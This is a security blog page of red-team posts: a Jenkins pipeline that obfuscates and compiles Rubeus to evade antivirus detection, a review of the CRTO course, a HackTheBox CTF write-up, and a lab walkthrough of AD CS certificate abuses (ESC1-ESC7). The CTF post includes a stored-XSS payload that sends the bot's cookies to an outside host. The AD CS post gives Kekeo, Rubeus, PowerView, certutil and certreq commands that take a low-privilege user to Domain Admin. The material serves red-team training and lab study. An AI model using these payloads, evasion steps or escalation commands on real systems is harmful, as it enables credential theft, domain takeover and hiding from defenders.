Automation Red Team

OffSecOps: Using Jenkins For Red Team Tooling


The inspiration for this post came from the excellent talk by Harmj0y at SO-CON 2020. I have been meaning to dig into using Jenkins to automate the building of red team tooling for some while now, but having recently completed the RTO exam, I felt it was time to have a play!

The Gist referenced by Harmjoy can be found here.


Before starting this mini project, my aim was to build a reasonably simple CI pipeline to:

  1. Get the latest version of Rubeus
  2. Perform some obfuscation
  3. Compile it.
  4. Have a less detectable Rubeus executable

With an aim to be able to take this code and re-use it on various other projects/repos as we wish, so modularity is a key aim here.

There are a fair amount of similarities between this post and the OffensivePipeline project, but I wanted to expand my knowledge within Jenkins rather than using C#, which I am already pretty comfortable with. I also feel Jenkins is likely to offer more flexibility in the future as I expand this project further.

An important caveat before we begin, I realise this guide only touches on some very basic obfuscation. The resulting binary will still be easily detectable, but this guide should highlight some of the basics!

Initial Jenkins Configuration

There are plenty of guides out there for installing Jenkins, so I wont labour the point here. A blog post from XenoSCR helped me at the start to install and configure Jenkins, as well as setting up a basic pipeline.

As stated earlier I wanted to be able to compile the projects within Jenkins, so naturally MSBuild was going to be the main candidate to do this. As usual, StackOverflow contains a guide on how to setup MSBuild in Jenkins, which I will cover below.

First, lets go to Manage Jenkins -> Plugin Manager. I didn’t have an MSBuild entry in my Global Tool Configuration page, so I had to go and install it from the Plugin Manager

When this has downloaded, we will add our configuration by going to Manage Jenkins -> Global Tool Configuration and scrolling down to the MSBuild section.

Click on ‘Add MSBuild’ and fill in the details for the path to MSBuild. Ensure you use the path to MSBuild for your installation of Visual Studio, I originally set it to the path for v4.0.3019 but I had a lot of issues with it failing to compile the project correctly.

Jenkins Pipeline

As described by Will in his talk, we will use ‘Pipelines’ to perform this compilation. From the Jenkins Dashboard we can click on New Item, and then select ‘Pipeline’.

For a basic project, lets use the code sample below. This will download Rubeus from GitHub and then show the contents of the folder.

pipeline { 
    agent any
    environment { 
        PROJECT_NAME = "Rubeus"
    stages {
    	stage('Checkout') {
    	    steps {
                git """${env.PROJECT_NAME}.git"""
        stage('Echo') {
            steps {
                bat """dir C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}"""

Click on Save, and then on Build Now. We can then click on ‘Console Output’ to show us what Jenkins is doing. This should reveal the information below, which will show us the root directory of our Rubeus directory – proving we can clone the repository via code!

Now we can prove that we can actually run a job and it will execute code, lets try to automate a bit more of this. We currently are pulling the repo and running dir, lets try to actually compile this code into an executable.

Compiling Rubeus

Thanks to us configuring MSBuild earlier, we can now refer to it from within our pipeline – no need to mess around with remembering the path all of the time!

First off, MSBuild has a *fairly* complex command line structure, so I first got this working in the command line before porting it across to Jenkins. This isnt helped by Rubeus using .NET v4.0 which is no longer officially supported by Microsoft, so I was unable to find a legit download of the binary. Due to this, I used .NET v4.8 which isnt the best option for us in terms of compatibility, but we can always change that down the road!

After a lot of trial and error with MSBuild and the various command line options, my final command was:

"C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" /p:Configuration=Release "/p:Platform=Any CPU" /maxcpucount:2 /nodeReuse:false /p:TargetFrameworkMoniker=".NETFramework,Version=v4.8" Rubeus.sln

We now get a success message from MSBuild!

Lets now change our jenkinsfile up so that it will compile the tool using MSBuild. We will wrap that earlier MSBuild command in a new stage to help keep our project nice and modular:

stage('Compile') {
    steps {
        bat "\"${tool 'MSBuild_VS2022'}\\MSBuild.exe\" /p:Configuration=${env.CONFIG} \"/p:Platform=${env.PLATFORM}\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:TargetFrameworkMoniker=\".NETFramework,Version=v4.8\" ${env.PROJECT_FILE_PATH}" 

I also added in a temporary stage to print out the contents of the Rubeus\bin\Release folder. This helped me test that it had actually compiled the executable and saved me a few clicks as I debugged the pipeline.

With these additions, our jenkinsfile now looks like the code below. You can see I have added some more environment variables, which will help me to reuse this code for other repositories.

pipeline { 
    agent any
    environment { 
        PROJECT_NAME = "Rubeus"
        PROJECT_FILE_PATH = "Rubeus.sln"
        CONFIG = 'Release' 
        PLATFORM = 'Any CPU' 
    stages {
    	stage('Checkout') {
    	    steps {
                git """${env.PROJECT_NAME}.git"""
        stage('Echo') {
            steps {
                bat """dir C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}"""
        stage('Compile') {
            steps {
                bat "\"${tool 'MSBuild_VS2022'}\\MSBuild.exe\" /p:Configuration=${env.CONFIG} \"/p:Platform=${env.PLATFORM}\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:TargetFrameworkMoniker=\".NETFramework,Version=v4.8\" ${env.PROJECT_FILE_PATH}" 
        stage('Echo Post Compilation') {
            steps {
                bat """dir C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}\\bin\\${CONFIG}"""

We can assess our progress by uploading our binary to VirusTotal. Whilst I wouldnt do this on a live test, it is handy for assessing how well this pipeline works. We will test this again at the end of this post, but for now our binary is only detected by 41 vendors – even though it is totally unobfuscated.

Jenkins Shared Libraries

We now have a good base to build from, as we can pull the latest version of Rubeus and compile it just from a click of a button! Our aim now is to remove some well known strings from the Rubeus executable. This will be the first baby steps towards us obfuscating our executable file.

To do this, we will use Shared Libraries to bundle up samples of code which we will reuse. For example, this will be stuff such as changing the default GUIDs, removing comments and so on. Conceptually, this is very similar to using functions when programming.

First off, we will create a shared library by creating a folder structure as shown below. I based my library on this blog post.

- obfuscation-lib/
  --> vars/
      --> someFunction.groovy

The code for my someFunction.groovy file was:

def call(String name = 'User') {
    echo "Welcome, ${name}."

Annoyingly, we can’t include a local path to a Shared Library in Jenkins, as it expects us to load it from Git. There is a nice hacky workaround where we can load a local Git repository using the file:// protocol handler, as described here.

To prep my library for this, I created a new git repository and committed my code to it. You have to remember to commit your code after every change to your library!

We will then go to Manage Jenkins -> Configure System -> Global Pipeline Libraries, and add our library in.

We can choose a name here, I will go for obfuscation-lib, and then we set the project repository to point at the location of our newly created git repository.

Back in our pipeline’s jenkinsfile, we now have to import this library using the name we just set (At the top of the above photo). We import it with the following code:


Don’t forget the underscore after the bracket, else it wont work!

To summarise, with our shiny new library, this gives us the following very basic pipeline below. Whilst you don’t have to use variables in our function call, I wanted to ensure it would work.


pipeline { 
    agent any
    environment { 
        stage('Library Test') {
                someFunction "${SOME_VAR}"

As shown below, it will print out our variables.

Comment Obfuscation

Putting this altogether, lets use our obfuscation-lib library to obfuscate something useful within our target repository. To do this, we will build a pretty basic string replacement function. We will use this to replace any phrases which are known to set off EDR/AV alerts. A basic example would be replacing any mention of ‘mimikatz’.

Firstly, lets get the path to the Jenkins workspace. Ideally we will do this without having to manually specify it for each function call. Luckily we can use ${WORKSPACE} within our shared library to get this path. We can now update our library and it will print the directory out.

def call(String name = 'User') {
    echo "Welcome, ${name}. Workspace is ${WORKSPACE}"

Commit our changes and re-run the pipeline, and we get the following:

From here, we will use some code from this post to create a simple find and replace tool.

//Heavily adapted from
def call(String extension = '*.cs', String findText = '', String replaceText = '') {
    //Navigate to the current workspace
    def currentDir = new File("${WORKSPACE}");

    def backupFile;
    def fileText;

        file ->
        for (ext in exts){
            if ( {
                fileText = file.text;
                backupFile = new File(file.path + ".bak");
                fileText = fileText.replaceAll(findText, replaceText)

We will now add another stage into the pipeline, called “Obfuscate“. We will attempt to obfuscate the version number to demonstrate our function works. Also I will modify the “Echo Post Compilation” step to instead run Rubeus so we can check if the version number changed or not. This leaves us with these two new stages below.

stage('Obfuscate') {
    steps {
        replaceAll(".cs", "v2.0.2", "NO_SIGNATURES_PLZ")

stage('Execute Post Compilation') {
    steps {
        bat """C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}\\bin\\${CONFIG}\\Rubeus.exe"""

After running this, it with an error relating to “expected to call but wound up catching error“. This is explained here, but basically we need to add @NonCPS to the top of our custom function.

We now end up with the following jenkinsfile:


pipeline { 
    agent any
    environment { 
        PROJECT_NAME = "Rubeus"
        PROJECT_FILE_PATH = "Rubeus.sln"
        CONFIG = 'Release' 
        PLATFORM = 'Any CPU' 
    stages {
    	stage('Checkout') {
    	    steps {
                git """${env.PROJECT_NAME}.git"""
        stage('Echo') {
            steps {
                bat """dir C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}"""
        stage('Obfuscate') {
            steps {
                replaceAll(".cs", "v2.0.2", "NO_SIGNATURES_PLZ")
        stage('Compile') {
            steps {
                bat "\"${tool 'MSBuild_VS2022'}\\MSBuild.exe\" /p:Configuration=${env.CONFIG} \"/p:Platform=${env.PLATFORM}\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:TargetFrameworkMoniker=\".NETFramework,Version=v4.8\" ${env.PROJECT_FILE_PATH}" 
        stage('Execute Post Compilation') {
            steps {
                bat """C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}\\bin\\${CONFIG}\\Rubeus.exe"""

And then our custom function:

//Heavily adapted from  from
def call(String extension = '.cs', String findText = '', String replaceText = '') {
    //Navigate to the current workspace
    def currentDir = new File("${WORKSPACE}");
    def fileText;

        file ->
            if ( {
                fileText = file.text;
                fileText = fileText.replaceAll(findText, replaceText)

Now when we run our pipeline, we can see that we have modified the version number which Rubeus puts out to the console:

Extending Our Custom Function (Again)

We can further extend this function to create a basic function which performs some common OPSEC considerations for a C# projects. There is a lot of different checks which could be built in here, but we will focus on two main ones just to prove the point:

  1. Change the GUID of the binary
  2. Remove assembly information

Changing the GUID

As we can see from the AssemblyInfo.cs file, Rubeus uses a GUID of 658c8b7f-3664-4a95-9572-a3e5871dfc06.

This will tip off any analyst that we are using Rubeus, as we can see from Googling the GUID:

We will first use a regex to escape this. I found a great resource when developing these Java regexes, and it saves re-running the pipeline over and over again! To save you from having to write Java regex, below is my code:

def call() {
    //Replace the default GUID & assembly info

def sanitiseAssemblyInfo(){
    def assemblyInfoFile = new File("${WORKSPACE}\\${PROJECT_NAME}\\Properties\\AssemblyInfo.cs");
    def assemblyInfoText = assemblyInfoFile.text;

    //Replace the default GUID (e.g. "[assembly: Guid("658c8b7f-3664-4a95-9572-a3e5871dfc06")]")
    def newGUID = "[assembly: Guid(\"${UUID.randomUUID().toString()}\")]"
    assemblyInfoText = assemblyInfoText.replaceAll(/\[assembly:\sGuid.*/, newGUID)

After committing our changes and running the pipeline, we can see that the AssemblyInfo.cs file has been modified, and we have a new GUID.

We can then extend our function to clear all the assembly values, only leaving a version number. This follows a very similar pattern to the function above:

def call() {
    //Replace the default GUID & assembly info

def sanitiseAssemblyInfo(){
    def assemblyInfoFile = new File("${WORKSPACE}\\${PROJECT_NAME}\\Properties\\AssemblyInfo.cs");
    def assemblyInfoText = assemblyInfoFile.text;

    //Replace the default GUID (e.g. "[assembly: Guid("658c8b7f-3664-4a95-9572-a3e5871dfc06")]")
    def newGUID = "[assembly: Guid(\"${UUID.randomUUID().toString()}\")]"
    assemblyInfoText = assemblyInfoText.replaceAll(/\[assembly:\sGuid.*/, newGUID)

    //Replace any entry beginning with "[assembly: Assembly", removing the value within the brackets.
    //I.e. [assembly: AssemblyTitle("Rubeus")] ==> [assembly: AssemblyTitle("")]
    //See for more info
    assemblyInfoText = assemblyInfoText.replaceAll(/(\[assembly:\sAssembly.*\(\").*/, '$1\")]')

    //Finally, we will set the AssemblyVersion value to be just to make it look a bit more legit
    assemblyInfoText = assemblyInfoText.replaceAll(/\[assembly:\sAssemblyVersion.*/, "[assembly: AssemblyVersion(\"\")]")

    //And write it all to the file :)

Now if we view the AssemblyInfo.cs file, we can see that the assembly information has been stripped out successfully.

Putting this all together, we have our final jenkinsfile:


pipeline { 
    agent any
    environment { 
        PROJECT_NAME = "Rubeus"
        PROJECT_FILE_PATH = "Rubeus.sln"
        CONFIG = 'Release' 
        PLATFORM = 'Any CPU' 
    stages {
        stage('Checkout') {
    	    steps {
                git """${env.PROJECT_NAME}.git"""

        stage('Obfuscate') {
            steps {
                replaceAll(".cs", "v2.0.2", "NO_SIGNATURES_PLZ")
        stage('Compile') {
            steps {
                bat "\"${tool 'MSBuild_VS2022'}\\MSBuild.exe\" /p:Configuration=${env.CONFIG} \"/p:Platform=${env.PLATFORM}\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:TargetFrameworkMoniker=\".NETFramework,Version=v4.8\" ${env.PROJECT_FILE_PATH}" 
        stage('Execute Post Compilation') {
            steps {
                bat """C:\\ProgramData\\Jenkins\\.jenkins\\workspace\\MSBuildTest\\${env.PROJECT_NAME}\\bin\\${CONFIG}\\Rubeus.exe"""

In addition to these functions, I then added another find and replace to remove the default help text for Rubeus. After compiling this project, we can now see that only 32 vendors detect the code – meaning we have defeated 9 of them!

What Next?

From this point, there is a lot of different ways which you could take this project. Harmj0y touches on a few within his talk, but some of the easier items I have implemented are:

Changing The Namespace

The Rubeus namespace is very well known, so changing this was one of my first priorities.

This is easily visible within the project:

Removal Of ‘Bad’ Functions

Using our offensive-lib library, I created a new function to remove any functions which are known to be easily detectable. As mentioned before, I used this to remove the default help text functions “ShowLogo” and “ShowUsage” in Rubeus.

For now, I have opted to just replace the function with a single new line, though this could be replaced with C# code, should we need to preserve functionality.

Implementing Automatic AMSI Checking

By using the ThreatCheck project by RastaMouse, we can have our pipeline automatically check itself against AMSI signatures. We will just run the check and manually review the output, but for production use we would likely implement this as a test – so that any code detected by AMSI is not compiled for use.

Slack Intergration

Instead of having to review the output of our builds, we can instead use a plugin and Slack WebHooks to get the data sent straight to us!


This is just the first baby steps into using Jenkins for OffSecOps, but hopefully it shows the potential use of a system such as this.

Some of the next steps I have planned include implementing more GitHub projects, as well as running multiple pipelines to automatically build my red teaming toolset.


Certified Red Team Operator (CRTO) Review


Having recently passed the CRTO course by RastaMouse, I felt it was only right to write a little review on it. Typically, the course has changed slightly since I sat it, with the labs now using Elastic Security in place of Splunk. Aside from this I believe the course is practically the same.


Go and buy it now! It is the best qualification out there if you are looking to break into offensive security. The labs & coursework are great and will teach you a range of techniques used in real-world red teaming.

In the past few days since writing this, CRTO has been listed as a ‘Trusted Training Partner’, showing how good this course is.


The course works via Apache Guacamole, in a very similar way to ImmersiveLabs and a few other online training providers. All of the labs can be spun up on request, but you only have a limited amount of lab time.

I went for the 120 hour option, which I felt was just right, though I would recommend reading through the material first and then approaching the labs. This will reduce the amount of time the labs are running whilst you try to understand the more complex attacks (cough cough resourcebased constrained delegation).

I believe CRTO is the cheapest way you can legitimately use Cobalt Strike, without having to pass the licencing checks or use a cracked version. This is really handy as Cobalt Strike is used so widely for red teaming.

Lab Issues

Running the labs through a browser does have its limitations, with no drag-and-drop and less keyboard shortcuts available. I would say this is preferable to having to create your own VMs and VPN into a network, as you can begin learning straight away.

The labs I had came with a version of Office and Splunk, both of which reverted to a trial mode after a few uses, whilst there was a fix for that issue, it did feel a little hacky to me.

Importantly, these are dedicated labs and you wont accidentally get any spoilers from other users. As with most online labs, it is worth giving them 5-10 minutes to fully load before beginning any testing or activity.

Learning Material

As mentioned previously, the content of this course is EXCELLENT. It covers a wide range of different attacks, as well as covering off the paperwork & reporting side of red teaming. The material is written in the style of a technical blog post, with code snippets throughout. Handily there are some videos included for the more complicated techniques, which helped to solidify my understanding. There are also hints and tips for OPSEC considerations, which is a nice touch.

A significant part of the material focuses on Active Directory-based attacks, such as kerberoasting or AD permission abuse. There are also sections on attacking SQL Server and GPOs which I personally found really interesting.


The exam gives you 48 hours of lab time over a span of 4 days, with a mock network for you to break into. This basically the same format as the labs, with the ability to reset your Kali and Windows boxes.

Scoring is structured like a CTF, where you only have to obtain a flag on the machine to prove you have compromised it. There are 8 machines, and you need to obtain 6 flags to pass. Importantly there is no reporting requirements, which makes this exam feel far less stressful than OSCP.

The exam can be booked at really short notice – I booked mine with only 6 hours of notice. When your exam starts, you will have another course option within SnapLabs which contains the lab environment.

One thing which surprised me was the smaller toolset available in the exam – something which I hadn’t seen anyone else mention in the other reviews. Effectively you have a subset of the tools from the training labs, which required me to think on my feet a bit! Whilst it pointed out some gaps in my knowledge, I think it would have been handy to have the full toolset for the exam, or at least have knowledge of which tools wouldn’t be provided in the exam.

The exam lab was also really well laid out, allowing you to easily regain your access without having to recompromise every machine in turn. There are some quirks with the exam labs though, with one of my flags failing to generate. This can be resolved by chatting to RastaMouse on the dedicated Discord channel.


OSCP has been a fairly ubiquitous qualification within cyber security for a number of years. I would personally say that OSCP does have its place, and is still worth the effort if you are wanting to pursue a penetration testing route. Despite that, I feel that there is more to be gained from completing CRTO and paying for VIP+ on HackTheBox, than shelling out for OSCP.

OSCP was a great learning experience for me, but most of the machines were severely outdated and used exploits from the 00’s. In comparison, CRTO uses Windows 10/Server 2016+ everywhere, making it far more representative of the real-world. The majority of CRTO is misconfiguration-based, whereas OSCP is vulnerability-based.

The exam experience for CRTO was also significantly better, with far less lead time and a less stringent approach. There is no proctoring or report writing, and the 4 day timespan means you can still have a life whilst taking the test.


I would change very little about the CRTO course personally. I think VPN access would be handy so that you can bring your own tooling, but it isn’t a big issue at all.

Update 23/2/22: RastaMouse confirmed that the lack of VPN access is a requirement of the licencing with Cobalt Strike (HelpSystems). Therefore the lack of VPN makes total sense in order to get a CS licence in this training!

As mentioned about 10 times a day on Discord, RTO 2.0 would be the main improvement I can think of. A course focused more on AV/EDR evasion or simply more advanced/complex attacks would be a great addition to this course. I think a greater focus on maintaining long term access to the target network would also be a nice improvement, as CRTO only briefly touched on it.

I also think a course which required you to use Splunk/Elastic in combination with Cobalt Strike would be quite interesting and could be aimed more at threat hunters or SOC analysts.


As you have probably guessed, I really enjoyed this course. I am not aware of any other courses which offer the combination of great labs and content like CRTO does. I think it is a great introduction into red teaming methodology, and will help many people to up their skills.

Below are some other blog posts I found handy before taking my exam, which are also worth checking out:

CTF HackTheBox

HTB Christmas CTF – Toy Workshop


Toy Workshop was a 1 star rated ‘Web’ challenge from the HackTheBox “Cyber Santa is Coming to Town” CTF. This was an interesting challenge, with the flag coming from a blind stored-XSS which led to the leakage of the flag from a cookie value in a Puppeteer instance.

After that mouthful, lets take a look at my solution to this problem.

Tooling Used

I made use of a number of new tools for this challenge. Rather than spinning up an Azure VM, I wanted to try and use free online resources. In particular, I used:


I performed initial recon with my go-to combination of nikto -host x.x.x.x and gobuster dir -u http://x.x.x.x. These returned nothing interesting, so I moved to digging through the resources on the site. At this point I remembered that we can download the files for the server from the CTF site. This reveals a POST request to /api/submit.

Initially, I thought the vulnerability would be within the logic for the /queries endpoint. Due to this checking for a localhost address, I suspected that spoofing the X-Forwarded-For header could allow this check to be bypassed. As Express is known to have issues when relying on the value from the req.ip parameter.

After many attempts, I decided to look elsewhere as I wasnt making progress. After a short search, I discovered the bot.js file, which had some unusual behaviour.


The bot.js file uses puppeteer to load the site. As shown on line 24 of the file, the flag is included in the cookies when it loads the site. My initial thought here was to either obtain command execution or a reverse shell. With no obvious routes to achieve this, I decided to try and inject HTML into the web page.

As you can see from the logic of the server, it uploads our data to the database and then queries it using puppeteer. This means we could upload HTML and it should be processed by the bot. The code for the database actions are shown below:

Canary Tokens

To test this theory, I created a CanaryToken web bug to test that I could perform two different actions.

  • The ability to inject HTML into the /queries endpoint
  • The server can reach out to an arbitrary web resource (i.e no firewalls)

Using a temporary email address, I registered this token. I then created a basic payload to inject an image into the webpage. Using Burp Suite I was able to insert it to the database.

This then returned a hit to my temporary mailbox, as shown below.

Final Payload

To convert this into a working payload, I decided to redirect the /queries endpoint to a page I controlled. This allowed me to POST the value of the cookies out. In the end, my complete payload for /api/submit was as follows:

    "query":"<html><script>document.location=\" cookie=\"+document.cookie</script></html>"

In we can view the contents of the cookies:

Revealing a flag of HTB{3v1l_3lv3s_4r3_r1s1ng_up!} for Toy Workshop .

Active Directory AD CS

AD CS – The ‘Certified Pre-Owned’ Attacks


This post will cover the attacks detailed in the white-paper produced by SpecterOps. The most well-known of which is the ‘ESC8’ attack – where a standard domain user can escalate to Domain Admin, given a vulnerable environment.

Before we begin with the main ‘Domain Escalation’ attacks (p. 54-81), we will quickly cover the THEFT5 attack, which is a technique we can use to obtain the current NTLM hash of a user, so long as we have a valid certificate.

All of the examples covered here will use either the WADE_PARKS or LAURI_ROTH users to represent low-privilege users within my test domain. (Thanks to davidprowe for the excellent BadBlood project which I used to populate an AD environment).


This post will show how we can make an AD CS environment vulnerable to the following attacks.

THEFT5 – Obtaining An NTLM Hash From A Certificate

Assuming we have managed to steal a certificate, or requested one through the default User template, then we can use Kekeo to request the NTLM hash of the target account. This is covered on page 49.

For example, say we have managed to steal a certificate for WADE_PARKS. We can then use LAURI_ROTH‘s account to request Wade’s NTLM hash, with just his certificate!

To perform this, we must import the stolen certificate into our certificate store (i.e. via MMC). Kekeo will use the imported certificate and request the NTLM hash from the KDC via PKINIT. This is a pretty technical exploit, and takes a while to fully get your head around! From Lauri’s machine, the command to perform this attack is:

tgt::pac /caname:forest /subject:WADE_PARKS /castore:current_user /

As we can see, Wade has a very strong password here:

A nice strong 10 character password from Wade

The key part of this attack is that we can continue to obtain passwords for Wade, so long as the certificate is valid. By default this is for 1 year from the certificate being issued.

ESC1 – Misconfigured Templates

Requirements: VULN1, VULN2, VULN3, VULN4, VULN5, VULN6

With this attack, we will request a certificate through MMC as normal. With this specific misconfiguration, we can specify a User Principal Name (UPN) to request the certificate for. For example, as a low privilege user we could request a certificate for the Domain Admin. In this example, we will request a certificate for Wade using Lauri’s account as a demonstration.

To set the UPN we want to target, use the Alternative Name section of the wizard, using the User Principal Name field.

Requesting a certificate for WADE_PARKS

After completing this wizard, we get a certificate for Wade added to our certificate store (On Lauri’s computer!).

We now have a certificate for Wade, even though we aren’t on his machine!

Using Rubeus, we can use this certificate to obtain a TGT as Wade now, which expands what we can do with this attack. To do this, we will use the following command. Note that the password below is the password we applied to the exported certificate.

Rubeus.exe asktgt /\WADE_PARKS /certificate:wade_upn.pfx /password:a /ptt
We now have a TGT as Wade

ESC2 – More Misconfigured Templates

Requirements: VULN1, VULN2, VULN3, VULN4, VULN5 (See below)

This misconfiguration is similar to ESC1, but two settings are changed:

  • The ability to supply any UPN in the request is removed (VULN6)
  • The EKU OID is either set to ‘Any Purpose’ or ‘None’

The ‘Any Purpose’ OID is interesting, as it allows for a certificate to make use of any of the potential uses of certificates. For example, it could be used for Domain Authentication or signing code. This is obviously seriously bad news if it is used by a skilled attacker. One of the potential OIDs which could be leveraged is the SubCA (i.e. A child certification authority) OID.

In theory the SubCA OID could allow a machine to create a child CA, which an attacker would have full control over. This could lead to an attacker enabling dangerous settings such as VULN3, VULN6 or VULN7. In reality, it is unlikely an attacker could do this, as the SubCA certificate would not be trusted by the root CA by default (Page 62).

We can configure a template with the Any Purpose policy by editing a Certificate Template on the AD CS server.

As a PoC, we can then obtain a TGT as the requesting principal. This is because the Domain Authentication policy would be included within the Any Purpose policy.

We can also do the same by removing all the Application Policies from the template, as shown in the ESC2a template below:

ESC2a template configuration

ESC3 – Enrolment Agent Templates

This attack relies on being able to get a certificate as an Enrollment Agent. This will allow us to approve requests for certificates. For this, we will create 2 vulnerable templates which must be used together:

ESC3a – The ‘Certificate Request Agent’

Requirements: VULN1, VULN2, VULN3, VULN4, VULN5 (See below)

This template will have the Certificate Request Agent policy enabled.

The vulnerable template

ESC3b – Domain Authentication

Requirements: VULN1, VULN2, VULN3, VULN5 (See below)

This template will allow the Client Authentication policy to allow us to sign in as the requesting user.

A standard Client Authentication template

Notably, this ESC3b template can require a signature before issuance – as we can leverage the certificate from ESC3a to sign the request.

To perform this attack, we will request a certificate for ESC3a. This certificate needs to be added to our certificate store – something which MMC will do by default. You could always import a stolen Request Agent certificate if you find one on the estate.

To obtain a certificate for ESC3b, we will need to use the ‘Enroll on Behalf of’ option in MMC.

Starting to leverage the ESC3a certificate

Thanks to ESC3a, we can choose that certificate when requesting ESC3b.

We can then set our user details in the wizard

The wizard will allow for multiple requests, so click on Cancel when you have obtained your ESC3b certificate. We can now see both of our certificates in the certificate store.

ESC4 – Vulnerable Template ACE Permissions

Requirements: VULN2

This attack relies on poor access control to the template object in AD. This will be based on the User template, but I have enabled the ability to specify an arbitrary SAN to demonstrate the risk posed by this attack. This would require an extra step of misconfiguration, and is slightly different to how ESC4 is described in the whitepaper. Without this, we could still perform an attack such as ESC2, where we can get a certificate for the current principal.

In this example, we will remove the Enroll permission, and instead enable the ‘Write‘ permission. By default we will not be able to enroll in this certificate, but we can edit the object to grant ourselves the Enroll permission.

When we go to our standard domain user, we are unable to enroll in ESC4 due to a permissions error.

Using PowerView, we can find our permissions on the ESC4 template

Get-DomainObjectAcl -SearchBase "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=forest,DC=com" | ? {$_.ActiveDirectoryRights -like '*Write*'} | Select-Object SecurityIdentifier,ActiveDirectoryRights

Recall that *-513 is the Domain Users SID. This SID now has GenericWrite, WriteDacl and WriteOwner permisisons. We will use the Add-DomainObjectAcl in PowerView to grant us all permissions on the object. This is pretty noisy and not especially subtle, but it demonstrates the risk! The command used for my environment is below:

Add-DomainObjectAcl -TargetSearchBase "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=forest,DC=com" -Rights All -PrincipalIdentity 'S-1-5-21-4011496586-3104324443-3246812018-513'

We can run the Get-DomainObjectAcl command from above to check we have successfully gained additional privileges.

Going into MMC we can now enroll on the ESC4 template. Remember we set this one up to have a vulnerable SAN – so we could now get a cert as DA. Being able to set a SAN is not a requirement of this attack.

We can now enroll on ESC4

This gets granted, as expected.

And oh dear oh dear, we can now be DA


Requirements: VULN7

This was a fairly tricky one to get working with built in Windows tooling, and will probably be easier with Certify!

To start this off, we will query the registry using the following command. This will show us the current configuration:

reg query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\forest-DC01-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags
As we can see, the 0x11014e value is the default (Secure) configuration

We run the command below to enable the misconfiguration. This will certainly need Administrator privilege and might have to be run on the DC.

certutil -config "DC01\forest-DC01-CA" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
We can see that the setting was successfully changed.

If we run the reg query command from above, we can see the flag has changed to 0x15014e.

Exploiting this is slightly different from VULN6 and ESC1, where we could specify a SAN in the request. This attack relies on specifying the SAN via a certificate attribute, rather than a certificate extension (Such as in ESC1). Therefore, we need to use certreq rather than MMC, this is described on page 71 in more detail.

To do this, we must create a .req file for us to create a CSR from. To do this, we can use MMC to create a ‘Custom Request’

Click through the wizard, and select the template you want to abuse, I will use the User template as it allows for domain authentication.

Export the file as a .req file. This might officially be a .inf file – either way, certreq will be happy with either extension!

Then save your file – I will use the filename esc6.req.

Now we have a .req file, we can alter this CSR to add a SAN in our certificate request. At this point we have to set the SAN via a certificate attribute, rather than a certificate extension (Like we abused in ESC1). To do this, we must use certreq with the -attrib parameter. For my environment, we would use the following command from a low-privilege command line:

certreq.exe -submit -attrib "" esc6.req esc6.cer

We now have a .cer (Public certificate only), which we will import into MMC. The private key is stored on the computer – when we import into MMC it will join them together and allow us to form our .pfx file (Public and Private key).

Requesting our certificate with certreq.

Double click on the .crt file we just got via certreq and we can install it by clicking on Install Certificate.

Click through the wizard, I personally select it to be installed to an automatically chosen location. We now have a certificate for ‘WADE_PARKS’, but if we look closer we can see it is actually valid for the Administrator account

MMC showing that we have a certificate for ‘WADE_PARKS’, but it really is for the Domain Admin!

If we double click on the certificate in MMC, we can view the Subject Alternative Name field within the Details tab, showing who we can authenticate as with this certificate.

Here is the proof it is for the Domain Admin

After exporting, we can now get a TGT for the Administrator user with Rubeus.

Lets reset our value for EDITF_ATTRIBUTESUBJECTALTNAME2 so we don’t accidentally leverage it later on!

certutil -config "DC01\forest-DC01-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 – Misconfigured CA Object

Requirements: VULN1

First off, lets check the permissions on the CA object, by using certsrv. Right click on the CA, then Properties, then Security

Lets enable the ‘Manage CA’ option on the Authenticated Users group. Obviously this is a really bad idea in the real world!

We can use PSPKI 3.7.2 to edit this value, as shown on page 76 of the whitepaper. This can be downloaded from the PSPKIAudit repo. We will use a built in PSPKI PowerShell function here, rather than editing DCOM as shown in the whitepaper.

Now we need to install RSAT. this isn’t very stealthy and requires local admin privileges to install. I believe that Certify doesn’t require these privileges.

Run DISM.exe /Online /Get-Capabilities to get the DISM images

Here is the CertificateServices.Tools image we want to install

We can then install the image with the following code:

DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~

Now we have RSAT, we can run PSPKI. The following commands will get the current setting for EDITF_ATTRIBUTESUBJECTALTNAME2 and then configure it to be vulnerable.

$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD ""


$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

reg query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\forest-DC01-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags

As we can see, EditFlags is now set to 0x15014e which is 1376590. From ESC6, we know this means we have set EDITF_ATTRIBUTESUBJECTALTNAME2  to be true.

From this point, we can follow ESC6 to gain further access.

PSPKI Import: HRESULT: 0x80131515

